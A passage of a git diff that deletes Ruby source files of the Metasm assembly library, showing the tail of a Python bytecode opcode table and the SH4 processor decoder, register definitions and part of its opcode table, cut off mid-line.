LICENCE in the top-level directory - -require 'metasm/cpu/python/main' - -module Metasm -class Python - CMP_OP = %w[< <= == != > >= in not_in is is_not exch] - - def addop(name, bin, *args) - o = Opcode.new(name) - o.bin = bin - - args.each { |a| - o.args << a if @valid_args[a] - o.props[a] = true if @valid_props[a] - } - o.args << :i16 if o.bin >= 90 and o.props.empty? # HAVE_ARGUMENT - - @opcode_list << o - end - - def init_opcode_list - @opcode_list = [] - - @valid_args[:u8] = true - @valid_args[:i16] = true - @valid_args[:cmp] = true - - addop 'STOP_CODE', 0, :stopexec - addop 'POP_TOP', 1 - addop 'ROT_TWO', 2 - addop 'ROT_THREE', 3 - addop 'DUP_TOP', 4 - addop 'ROT_FOUR', 5 - addop 'NOP', 9 - - addop 'UNARY_POSITIVE', 10 - addop 'UNARY_NEGATIVE', 11 - addop 'UNARY_NOT', 12 - addop 'UNARY_CONVERT', 13 - - addop 'UNARY_INVERT', 15 - - addop 'BINARY_POWER', 19 - - addop 'BINARY_MULTIPLY', 20 - addop 'BINARY_DIVIDE', 21 - addop 'BINARY_MODULO', 22 - addop 'BINARY_ADD', 23 - addop 'BINARY_SUBTRACT', 24 - addop 'BINARY_SUBSCR', 25 - addop 'BINARY_FLOOR_DIVIDE', 26 - addop 'BINARY_TRUE_DIVIDE', 27 - addop 'INPLACE_FLOOR_DIVIDE', 28 - addop 'INPLACE_TRUE_DIVIDE', 29 - - addop 'SLICE', 30 - addop 'SLICE_1', 31 - addop 'SLICE_2', 32 - addop 'SLICE_3', 33 - - addop 'STORE_SLICE', 40 - addop 'STORE_SLICE_1', 41 - addop 'STORE_SLICE_2', 42 - addop 'STORE_SLICE_3', 43 - - addop 'DELETE_SLICE', 50 - addop 'DELETE_SLICE_1', 51 - addop 'DELETE_SLICE_2', 52 - addop 'DELETE_SLICE_3', 53 - - addop 'STORE_MAP', 54 - addop 'INPLACE_ADD', 55 - addop 'INPLACE_SUBTRACT', 56 - addop 'INPLACE_MULTIPLY', 57 - addop 'INPLACE_DIVIDE', 58 - addop 'INPLACE_MODULO', 59 - addop 'STORE_SUBSCR', 60 - addop 'DELETE_SUBSCR', 61 - - addop 'BINARY_LSHIFT', 62 - addop 'BINARY_RSHIFT', 63 - addop 'BINARY_AND', 64 - addop 'BINARY_XOR', 65 - addop 'BINARY_OR', 66 - addop 'INPLACE_POWER', 67 - addop 'GET_ITER', 68 - - addop 'PRINT_EXPR', 70 - addop 'PRINT_ITEM', 71 - addop 'PRINT_NEWLINE', 72 - addop 'PRINT_ITEM_TO', 73 - addop 'PRINT_NEWLINE_TO', 74 - addop 'INPLACE_LSHIFT', 75 - addop 'INPLACE_RSHIFT', 76 - addop 'INPLACE_AND', 77 - addop 'INPLACE_XOR', 78 - addop 'INPLACE_OR', 79 - addop 'BREAK_LOOP', 80 - addop 'WITH_CLEANUP', 81 - addop 'LOAD_LOCALS', 82 - addop 'RETURN_VALUE', 83 - addop 'IMPORT_STAR', 84 - addop 'EXEC_STMT', 85 - addop 'YIELD_VALUE', 86 - addop 'POP_BLOCK', 87 - addop 'END_FINALLY', 88 - addop 'BUILD_CLASS', 89 - - #addop 'HAVE_ARGUMENT', 90 #/* Opcodes from here have an argument: */ - - addop 'STORE_NAME', 90 #/* Index in name list */ - addop 'DELETE_NAME', 91 #/* "" */ - addop 'UNPACK_SEQUENCE', 92 #/* Number of sequence items */ - addop 'FOR_ITER', 93, :setip - addop 'LIST_APPEND', 94 - - addop 'STORE_ATTR', 95 #/* Index in name list */ - addop 'DELETE_ATTR', 96 #/* "" */ - addop 'STORE_GLOBAL', 97 #/* "" */ - addop 'DELETE_GLOBAL', 98 #/* "" */ - addop 'DUP_TOPX', 99 #/* number of items to duplicate */ - addop 'LOAD_CONST', 100 #/* Index in const list */ - addop 'LOAD_NAME', 101 #/* Index in name list */ - addop 'BUILD_TUPLE', 102 #/* Number of tuple items */ - addop 'BUILD_LIST', 103 #/* Number of list items */ - addop 'BUILD_SET', 104 #/* Number of set items */ - addop 'BUILD_MAP', 105 #/* Always zero for now */ - addop 'LOAD_ATTR', 106 #/* Index in name list */ - addop 'COMPARE_OP', 107, :cmp #/* Comparison operator */ - addop 'IMPORT_NAME', 108 #/* Index in name list */ - addop 'IMPORT_FROM', 109 #/* Index in name list */ - addop 'JUMP_FORWARD', 110, :setip, :stopexec #/* Number of bytes to skip */ - - addop 'JUMP_IF_FALSE_OR_POP', 111, :setip #/* Target byte offset from beginning of code */ - addop 'JUMP_IF_TRUE_OR_POP', 112, :setip #/* "" */ - addop 'JUMP_ABSOLUTE', 113, :setip, :stopexec #/* "" */ - addop 'POP_JUMP_IF_FALSE', 114, :setip #/* "" */ - addop 'POP_JUMP_IF_TRUE', 115, :setip #/* "" */ - - addop 'LOAD_GLOBAL', 116 #/* Index in name list */ - - addop 'CONTINUE_LOOP', 119 #/* Start of loop (absolute) */ - addop 'SETUP_LOOP', 120 #/* Target address (relative) */ - addop 'SETUP_EXCEPT', 121 #/* "" */ - addop 'SETUP_FINALLY', 122 #/* "" */ - - addop 'LOAD_FAST', 124 #/* Local variable number */ - addop 'STORE_FAST', 125 #/* Local variable number */ - addop 'DELETE_FAST', 126 #/* Local variable number */ - - addop 'RAISE_VARARGS', 130 #/* Number of raise arguments (1, 2 or 3) */ - #/* CALL_FUNCTION_XXX opcodes defined below depend on this definition */ - addop 'CALL_FUNCTION', 131, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - addop 'MAKE_FUNCTION', 132 #/* #defaults */ - addop 'BUILD_SLICE', 133 #/* Number of items */ - - addop 'MAKE_CLOSURE', 134 #/* #free vars */ - addop 'LOAD_CLOSURE', 135 #/* Load free variable from closure */ - addop 'LOAD_DEREF', 136 #/* Load and dereference from closure cell */ - addop 'STORE_DEREF', 137 #/* Store into cell */ - - #/* The next 3 opcodes must be contiguous and satisfy (CALL_FUNCTION_VAR - CALL_FUNCTION) & 3 == 1 */ - addop 'CALL_FUNCTION_VAR', 140, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - addop 'CALL_FUNCTION_KW', 141, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - addop 'CALL_FUNCTION_VAR_KW', 142, :u8, :u8, :setip #/* #args + (#kwargs<<8) */ - - addop 'SETUP_WITH', 143 - - #/* Support for opargs more than 16 bits long */ - addop 'EXTENDED_ARG', 145 - - addop 'SET_ADD', 146 - addop 'MAP_ADD', 147 - end -end -end diff --git a/lib/metasm/metasm/cpu/sh4.rb b/lib/metasm/metasm/cpu/sh4.rb deleted file mode 100644 index 4be5b1fa2d..0000000000 --- a/lib/metasm/metasm/cpu/sh4.rb +++ /dev/null @@ -1,8 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/cpu/sh4/decode' diff --git a/lib/metasm/metasm/cpu/sh4/decode.rb b/lib/metasm/metasm/cpu/sh4/decode.rb deleted file mode 100644 index 7e0629ddcf..0000000000 --- a/lib/metasm/metasm/cpu/sh4/decode.rb +++ /dev/null @@ -1,367 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/sh4/opcodes' -require 'metasm/decode' - -module Metasm -class Sh4 - def build_opcode_bin_mask(op) - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask ^= 0xffff - end - - def build_bin_lookaside - lookaside = (0..0xf).inject({}) { |h, i| h.update i => [] } - opcode_list.each { |op| - build_opcode_bin_mask op - lookaside[(op.bin >> 12) & 0xf] << op - } - lookaside - end - - # depending on transfert size mode (sz flag), fmov instructions manipulate single ou double precision values - # instruction aliasing appears when sz is not handled - def transfer_size_mode(list) - return list if list.find { |op| not op.name.include? 'mov' } - @transfersz == 0 ? list.find_all { |op| op.name.include? 'fmov.s' } : list.reject { |op| op.name.include? 'fmov.s' } - end - - # when pr flag is set, floating point instructions are executed as double-precision operations - # thus register pair is used (DRn registers) - def precision_mode(list) - @fpprecision == 0 ? list.reject { |op| op.args.include? :drn } : list.find_all { |op| op.args.include? :frn } - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.length - - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u16, @endianness) - edata.ptr -= 2 - op = @bin_lookaside[(val >> 12) & 0xf].find_all { |opcode| (val & opcode.bin_mask) == opcode.bin } - - op = transfer_size_mode(op) if op.length == 2 - op = precision_mode(op) if op.length == 2 - - if op.length > 1 - puts "current value: #{Expression[val]}, ambiguous matches:", - op.map { |opcode| " #{opcode.name} - #{opcode.args.inspect} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } - #raise "Sh4 - Internal error" - end - - if not op.empty? - di.opcode = op.first - di - end - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - di.opcode.props[:memsz] = (op.name =~ /\.l|mova/ ? 32 : (op.name =~ /\.w/ ? 16 : 8)) - val = edata.decode_imm(:u16, @endianness) - - field_val = lambda{ |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :@rm, :@rn ,:@_rm, :@_rn, :@rm_, :@rn_; GPR.new(r) - when :@disppc - # The effective address is formed by calculating PC+4, - # clearing the lowest 2 bits, and adding the zero-extended 8-bit immediate i - # multiplied by 4 (32-bit)/ 2 (16-bit) / 1 (8-bit). - curaddr = di.address+4 - curaddr = (curaddr & 0xffff_fffc) if di.opcode.props[:memsz] == 32 - curaddr+r*(di.opcode.props[:memsz]/8) - when :@disprm, :@dispr0rn; (r & 0xf) * (di.opcode.props[:memsz]/8) - when :@disprmrn; (r & 0xf) * 4 - when :@dispgbr; Expression.make_signed(r, 16) - when :disp8; di.address+4+2*Expression.make_signed(r, 8) - when :disp12; di.address+4+2*Expression.make_signed(r, 12) - when :s8; Expression.make_signed(r, 8) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :r0; GPR.new 0 - when :rm, :rn; GPR.new field_val[a] - when :rm_bank, :rn_bank; RBANK.new field_val[a] - when :drm, :drn; DR.new field_val[a] - when :frm, :frn; FR.new field_val[a] - when :xdm, :xdn; XDR.new field_val[a] - when :fvm, :fvn; FVR.new field_val[a] - when :vbr; VBR.new - when :gbr; GBR.new - when :sr; SR.new - when :ssr; SSR.new - when :spc; SPC.new - when :sgr; SGR.new - when :dbr; DBR.new - when :mach; MACH.new - when :macl; MACL.new - when :pr; PR.new - when :fpul; FPUL.new - when :fpscr; FPSCR.new - when :pc; PC.new - - when :@rm, :@rn, :@disppc - Memref.new(field_val[a], nil) - when :@_rm, :@_rn - Memref.new(field_val[a], nil, :pre) - when :@rm_, :@rn_ - Memref.new(field_val[a], nil, :post) - when :@r0rm - Memref.new(GPR.new(0), GPR.new(field_val[:rm])) - when :@r0rn, :@dispr0rn - Memref.new(GPR.new(0), GPR.new(field_val[:rn])) - when :@disprm - Memref.new(field_val[a], GPR.new(field_val[:rm])) - when :@disprmrn - Memref.new(field_val[a], GPR.new(field_val[:rn])) - - when :disppc; Expression[field_val[:@disppc]] - when :s8, :disp8, :disp12; Expression[field_val[a]] - when :i16, :i8, :i5; Expression[field_val[a]] - - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - - di.bin_length += edata.ptr - before_ptr - - return if edata.ptr > edata.length - - di - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = {} - (0..7 ).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression::Unknown } - (8..15).each { |i| r = "r#{i}".to_sym ; df.backtrace_binding[r] = Expression[r] } - df.backtracked_for = [BacktraceTrace.new(Expression[:pr], :default, Expression[:pr], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else - [] - end - } - df - end - - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } if retaddrlist - b = f.backtrace_binding - - bt_val = lambda { |r| - next if not retaddrlist - bt = [] - b[r] = Expression::Unknown # break recursive dep - retaddrlist.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = GPR::Sym if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - end - - - # interprets a condition code (in an opcode name) as an expression - def decode_cmp_expr(di, a0, a1) - case di.opcode.name - when 'cmp/eq'; Expression[a0, :'==', a1] - when 'cmp/ge'; Expression[a0, :'>=', a1] # signed - when 'cmp/gt'; Expression[a0, :'>', a1] # signed - when 'cmp/hi'; Expression[a0, :'>', a1] # unsigned - when 'cmp/hs'; Expression[a0, :'>=', a1] # unsigned - end - end - - def decode_cmp_cst(di, a0) - case di.opcode.name - when 'cmp/pl'; Expression[a0, :'>', 0] # signed - when 'cmp/pz'; Expression[a0, :'>=', 0] # signed - end - end - - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - - def opsz(di) - ret = @size - ret = 8 if di and di.opcode.name =~ /\.b/ - ret = 16 if di and di.opcode.name =~ /\.w/ - ret - end - - def init_backtrace_binding - @backtrace_binding ||= {} - - mask = lambda { |di| (1 << opsz(di)) - 1 } # 32bits => 0xffff_ffff - - opcode_list.map { |ol| ol.name }.uniq.each { |op| - @backtrace_binding[op] ||= case op - when 'ldc', 'ldc.l', 'lds', 'lds.l', 'stc', 'stc.l', 'mov', 'mov.l', 'sts', 'sts.l' - lambda { |di, a0, a1| { a1 => Expression[a0] }} - when 'stc.w', 'stc.b', 'mov.w', 'mov.b' - lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} - when 'movt'; lambda { |di, a0| { a0 => :t_bit }} - when 'mova'; lambda { |di, a0, a1| { a1 => Expression[a0] }} - when 'exts.b', 'exts.w', 'extu.w' - lambda { |di, a0, a1| { a1 => Expression[a0, :&, mask[di]] }} - when 'cmp/eq', 'cmp/ge', 'cmp/ge', 'cmp/gt', 'cmp/hi', 'cmp/hs' - lambda { |di, a0, a1| { :t_bit => decode_cmp_expr(di, a0, a1) }} - when 'cmp/pl', 'cmp/pz' - lambda { |di, a0| { :t_bit => decode_cmp_cst(di, a0) }} - when 'tst'; lambda { |di, a0, a1| { :t_bit => Expression[[a0, :&, mask[di]], :==, [a1, :&, mask[di]]] }} - when 'rte'; lambda { |di| { :pc => :spc , :sr => :ssr }} - when 'rts'; lambda { |di| { :pc => :pr }} - when 'sets'; lambda { |di| { :s_bit => 1 }} - when 'sett'; lambda { |di| { :t_bit => 1 }} - when 'clrs'; lambda { |di| { :s_bit => 0 }} - when 'clrt'; lambda { |di| { :t_bit => 0 }} - when 'clrmac'; lambda { |di| { :macl => 0, :mach => 0 }} - when 'jmp'; lambda { |di, a0| { :pc => a0 }} - when 'jsr', 'bsr', 'bsrf'; lambda { |di, a0| { :pc => Expression[a0], :pr => Expression[di.address, :+, 2*2] }} - when 'dt'; lambda { |di, a0| - res = Expression[a0, :-, 1] - { :a0 => res, :t_bit => Expression[res, :==, 0] } - } - when 'add' ; lambda { |di, a0, a1| { a1 => Expression[[a0, :+, a1], :&, 0xffff_ffff] }} - when 'addc' ; lambda { |di, a0, a1| - res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]], :+, :t_bit]] - { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } - } - when 'addv' ; lambda { |di, a0, a1| - res = Expression[[a0, :&, mask[di]], :+, [[a1, :&, mask[di]]]] - { a1 => Expression[a0, :+, [a1, :+, :t_bit]], :t_bit => Expression[res, :>, mask[di]] } - } - when 'shll16', 'shll8', 'shll2', 'shll' ; lambda { |di, a0| - shift = { 'shll16' => 16, 'shll8' => 8, 'shll2' => 2, 'shll' => 1 }[op] - { a0 => Expression[[a0, :<<, shift], :&, 0xffff] } - } - when 'shlr16', 'shlr8', 'shlr2','shlr'; lambda { |di, a0| - shift = { 'shlr16' => 16, 'shlr8' => 8, 'shlr2' => 2, 'shlr' => 1 }[op] - { a0 => Expression[a0, :>>, shift] } - } - when 'rotcl'; lambda { |di, a0| { a0 => Expression[[a0, :<<, 1], :|, :t_bit], :t_bit => Expression[a0, :>>, [opsz[di], :-, 1]] }} - when 'rotcr'; lambda { |di, a0| { a0 => Expression[[a0, :>>, 1], :|, :t_bit], :t_bit => Expression[a0, :&, 1] }} - when 'rotl'; lambda { |di, a0| - shift_bit = [a0, :<<, [opsz[di], :-, 1]] - { a0 => Expression[[a0, :<<, 1], :|, shift_bit], :t_bit => shift_bit } - } - when 'rotr'; lambda { |di, a0| - shift_bit = [a0, :>>, [opsz[di], :-, 1]] - { a0 => Expression[[a0, :>>, 1], :|, shift_bit], :t_bit => shift_bit } - } - when 'shal'; lambda { |di, a0| - shift_bit = [a0, :<<, [opsz[di], :-, 1]] - { a0 => Expression[a0, :<<, 1], :t_bit => shift_bit } - } - when 'shar'; lambda { |di, a0| - shift_bit = Expression[a0, :&, 1] - { a0 => Expression[a0, :>>, 1], :t_bit => shift_bit } - } - when 'sub'; lambda { |di, a0, a1| { a1 => Expression[[a1, :-, a0], :&, 0xffff_ffff] }} - when 'subc'; lambda { |di, a0, a1| { a1 => Expression[a1, :-, [a0, :-, :t_bit]] }} - when 'and', 'and.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :&, mask[di]], :|, [[a1, :&, mask[di]]]] }} - when 'or', 'or.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :|, [[a1, :&, mask[di]]]] }} - when 'xor', 'xor.b'; lambda { |di, a0, a1| { a1 => Expression[[a0, :|, mask[di]], :^, [[a1, :&, mask[di]]]] }} - when 'neg' ; lambda { |di, a0, a1| { a1 => Expression[mask[di], :-, a0] }} - when 'negc' ; lambda { |di, a0, a1| { a1 => Expression[[[mask[di], :-, a0], :-, :t_bit], :&, mask[di]] }} - when 'not'; lambda { |di, a0, a1| { a1 => Expression[a0, :^, mask[di]] }} - when 'nop'; lambda { |*a| {} } - when /^b/; lambda { |*a| {} } # branches - end - } - - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when GPR, XFR, XDR, FVR, DR, FR, XMTRX; arg.symbolic - when MACH, MACL, PR, FPUL, PC, FPSCR; arg.symbolic - when SR, SSR, SPC, GBR, VBR, SGR, DBR; arg.symbolic - when Memref; arg.symbolic(di.address, di.opcode.props[:memsz]/8) - else arg - end - } - - if binding = backtrace_binding[di.opcode.basename] - bd = binding[di, *a] || {} - di.instruction.args.grep(Memref).each { |m| - next unless r = m.base and r.kind_of?(GPR) - r = r.symbolic - case m.action - when :post - bd[r] ||= Expression[r, :+, di.opcode.props[:memsz]/8] - when :pre - bd[r] ||= Expression[r, :-, di.opcode.props[:memsz]/8] - end - } - bd - else - puts "unhandled instruction to backtrace: #{di}" if $VERBOSE - {:incomplete_binding => Expression[1]} - end - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - val = case di.instruction.opname - when 'rts'; :pr - else di.instruction.args.last - end - - val = case val - when Reg; val.symbolic - when Memref; arg.symbolic(di.address, 4) - else val - end - - val = case di.instruction.opname - when 'braf', 'bsrf'; Expression[[di.address, :+, 4], :+, val] - else val - end - - [Expression[val]] - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :pr - end - - def delay_slot(di=nil) - (di and di.opcode.props[:delay_slot]) ? 1 : 0 - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression) - a - else a - end - } - end -end -end diff --git a/lib/metasm/metasm/cpu/sh4/main.rb b/lib/metasm/metasm/cpu/sh4/main.rb deleted file mode 100644 index 46ee31b242..0000000000 --- a/lib/metasm/metasm/cpu/sh4/main.rb +++ /dev/null @@ -1,301 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/main' - -module Metasm - -class Sh4 < CPU - def initialize(e = :little, transfersz = 0, fpprecision = 0) - super() - @endianness = e - - # transfer size mode - # When SZ = 1 and big endian mode is selected, FMOV can - # be used for double-precision floating-point data load or - # store operations. In little endian mode, two 32-bit data size - # moves must be executed, with SZ = 0, to load or store a - # double-precision floating-point number. - transfersz = 0 if @endianness == :little - @transfersz = transfersz - - # PR = 0 : Floating point instructions are executed as single - # precision operations. - # PR = 1 : Floating point instructions are executed as double- - # precision operations (the result of instructions for - # which double-precision is not supported is undefined). - # Setting [transfersz = fpprecision = 1] is reserved. - # FPU operations are undefined in this mode. - @fpprecision = fpprecision - - @size = 32 - end - - class Reg - include Renderable - - def ==(o) - o.class == self.class and (not respond_to?(:i) or o.i == i) - end - end - - # general purpose reg - class GPR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "r#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["r#@i"] end - end - - class RBANK < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "r#{i}_bank".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["r#{@i}_bank"] end - end - - # floatting-point registers - class FR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "fr#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["fr#@i"] end - end - - # DR registers: double-precision floating-point registers - # DR0 = {FR0, FR1} - # DR2 = {FR2, FR3} - # DR4 = {FR4, FR5} - # DR6 = {FR6, FR7} - # DR8 = {FR8, FR9} - # DR10 = {FR10, FR11} - # DR12 = {FR12, FR13} - # DR14 = {FR14, FR15} - class DR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "dr#{i*2}".to_sym } - - def symbolic ; Sym[@i/2] end - - def render ; ["dr#@i"] end - end - - # Single-precision floating-point vector registers - # FV0 = {FR0, FR1, FR2, FR3} - # FV4 = {FR4, FR5, FR6, FR7}, - # FV8 = {FR8, FR9, FR10, FR11} - # FV12 = {FR12, FR13, FR14, FR15} - class FVR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..3).map { |i| "fv#{i*4}".to_sym } - - def symbolic ; Sym[@i/4] end - - def render ; ["fv#@i"] end - end - - # Single-precision floating-point extended registers - class XFR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..15).map { |i| "xf#{i}".to_sym } - - def symbolic ; Sym[@i] end - - def render ; ["xf#@i"] end - end - - # XD registers: single-precision floating-point vector registers - # XD0 = {XF0, XF1} - # XD2 = {XF2, XF3} - # XD4 = {XF4, XF5} - # XD6 = {XF6, XF7} - # XD8 = {XF8, XF9} - # XD10 = {XF10, XF11} - # XD12 = {XF12, XF13} - # XD14 = {XF14, XF15} - class XDR < Reg - attr_accessor :i - - def initialize(i); @i = i end - Sym = (0..7).map { |i| "xd#{i*2}".to_sym } - - def symbolic ; Sym[@i/2] end - - def render ; ["xd#@i"] end - end - - # Single-precision floating-point extended register matrix - class XMTRX < Reg - def symbolic ; :xmtrx ; end - def render ; ['xmtrx'] ; end - end - - - # Multiply-and-accumulate register high - class MACH < Reg - - def symbolic ; :mach end - def render ; ['mach'] end - end - - # Multiply-and-accumulate register low - class MACL < Reg - - def symbolic ; :macl end - def render ; ['macl'] end - end - - # Procedure register - class PR < Reg - - def symbolic ; :pr end - def render ; ['pr'] end - end - - # Floating-point communication register - class FPUL < Reg - - def symbolic ; :fpul end - def render ; ['fpul'] end - end - - # Program counter - class PC < Reg - - def symbolic ; :pc end - def render ; ['pc'] end - end - - # Floating-point status/control register - class FPSCR < Reg - - def symbolic ; :fpscr end - def render ; ['fpscr'] end - end - - #----------------------- Control registers ----------------------------- - - # Status register - class SR < Reg - - def symbolic ; :sr end - def render ; ['sr'] end - end - - # Saved status register - class SSR < Reg - - def symbolic ; :ssr end - def render ; ['ssr'] end - end - - # Saved program counter - class SPC < Reg - - def symbolic ; :spc end - def render ; ['spc'] end - end - - # Global base register - class GBR < Reg - - def symbolic ; :spc end - def render ; ['gbr'] end - end - - # Vector base register - class VBR < Reg - - def symbolic ; :spc end - def render ; ['vbr'] end - end - - # Saved general register - class SGR < Reg - - def symbolic ; :sgr end - def render ; ['sgr'] end - end - - # Debug base register - class DBR < Reg - - def symbolic ; :dbr end - def render ; ['dbr'] end - end - - class Memref - # action: pre/post (inc/dec)rement - attr_accessor :base, :disp, :action - - def initialize(base, offset, action = nil) - base = Expression[base] if base.kind_of? Integer - @base, @disp, @action = base, offset, action - end - - def symbolic(orig=nil, sz=32) - b = @base - b = b.symbolic if b.kind_of? Reg - - b = Expression[b, :-, sz/8] if @action == :pre - - if disp - o = @disp - o = o.symbolic if o.kind_of? Reg - e = Expression[b, :+, o].reduce - else - e = Expression[b].reduce - end - - Indirection[e, sz, orig] - end - - include Renderable - - def render - if @disp - #['@(', @base, ',', @disp, ')'] - ['[', @base, '+', @disp, ']'] - else - case @action - when :pre then ['[--', @base, ']'] - when :post then ['[', @base, '++]'] - else ['[', @base, ']'] - #when :pre then ['@-', @base] - #when :post then ['@', @base, '+'] - #else ['@', @base] - end - end - end - - end - - def init_opcode_list - init - end - - def dbg_register_list - @dbg_register_list ||= GPR::Sym - end -end -end diff --git a/lib/metasm/metasm/cpu/sh4/opcodes.rb b/lib/metasm/metasm/cpu/sh4/opcodes.rb deleted file mode 100644 index 6b4913b49d..0000000000 --- a/lib/metasm/metasm/cpu/sh4/opcodes.rb +++ /dev/null @@ -1,380 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2010 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm/cpu/sh4/main' - -module Metasm -class Sh4 - def addop(name, bin, *args) - o = Opcode.new name, bin - - args.each { |a| - o.args << a if @fields_mask[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] - } - - @opcode_list << o - end - - def init - @opcode_list = [] - - # :@rm_ is used for @Rm+ - # :@_rn is used for @-Rn - # :@r0rm is used for @(R0, Rm) (same for r0rn) - # :@r0gbr is used for @(R0, GBR) - @fields_mask = { - :rm => 0xf, :rn => 0xf, - :@rm => 0xf, :@rn => 0xf, - :@rm_ => 0xf, :@rn_ => 0xf, - :@_rn => 0xf, - - :frm => 0xf, :frn => 0xf, - :xdm => 0x7, :xdn => 0x7, - :drm => 0x7, :drn => 0x7, - :fvm => 0x3, :fvn => 0x3, - - :@r0rm => 0xf, :@r0rn => 0xf, - :rm_bank => 0x7, :rn_bank => 0x7, - - :@disprm => 0xff, :@dispr0rn => 0xff, :@disprmrn => 0xf0f, - :@dispgbr => 0xff, :@disppc => 0xff, - :disp8 => 0xff, :disp12 => 0xfff, :disppc => 0xff, - - :i8 => 0xff, # zero-extendded 8-bit immediate - :s8 => 0xff, # 8-bit displacement s is sign-extended, doubled and added to PC+4 - } - - @fields_shift = { - :rm => 4, :rn => 8, - :@rm => 4, :@rn => 8, - :@rm_ => 4, :@rn_ => 8, - :@_rn => 8, - - :frm => 4, :frn => 8, - :xdm => 5, :xdn => 9, - :drm => 5, :drn => 9, - :fvm => 8, :fvn => 10, - - :@r0rm => 4, :@r0rn => 8, - :rm_bank => 7, :rn_bank => 4, - - :@disprm => 0, :@dispr0rn => 0, :@disprmrn => 0, - :@dispgbr => 0, :@disppc => 0, - :disp8 => 0, :disp12 => 0, :disppc => 0, - - :i8 => 0, - :s8 => 0, - } - - # implicit operands - [:vbr, :gbr, :sr, :ssr, :spc, :sgr, :dbr, :mach, :macl, :pr, :fpul, :fpscr, :dbr, :pc, :r0].each { |a| @fields_mask[a] = @fields_shift[a] = 0 } - - @valid_props[:delay_slot] = true - - addop 'add', 0b0011 << 12 | 0b1100, :rm, :rn - addop 'add', 0b0111 << 12, :s8, :rn - addop 'addc', 0b0011 << 12 | 0b1110, :rm, :rn - addop 'addv', 0b0011 << 12 | 0b1111, :rm, :rn - - addop 'and', 0b0010 << 12 | 0b1001, :rm, :rn - addop 'and', 0b11001001 << 8, :i8, :r0 - addop 'and.b', 0b11001101 << 8, :i8, :@r0gbr - - addop 'bf', 0b10001011 << 8, :disp8, :setip - addop 'bf/s', 0b10001111 << 8, :disp8, :setip, :delay_slot - addop 'bra', 0b1010 << 12, :disp12, :setip, :stopexec, :delay_slot - addop 'braf', 0b0000 << 12 | 0b00100011, :rn, :setip, :stopexec, :delay_slot - addop 'brk', 0b0000000000111011, :stopexec # causes a pre-execution BREAK exception - addop 'bsr', 0b1011 << 12, :disp12, :setip, :saveip, :stopexec, :delay_slot - addop 'bsrf', 0b0000 << 12 | 0b00000011, :rn, :setip, :saveip, :stopexec, :delay_slot - addop 'bt', 0b10001001 << 8, :disp8, :setip - addop 'bt/s', 0b10001101 << 8, :disp8, :setip, :delay_slot - - addop 'clrmac', 0b0000000000101000 - addop 'clrs', 0b0000000001001000 - addop 'clrt', 0b0000000000001000 - - addop 'cmp/eq', 0b0011 << 12 | 0b0000, :rm, :rn - addop 'cmp/eq', 0b10001000 << 8, :s8, :r0 - addop 'cmp/ge', 0b0011 << 12 | 0b0011, :rm, :rn - addop 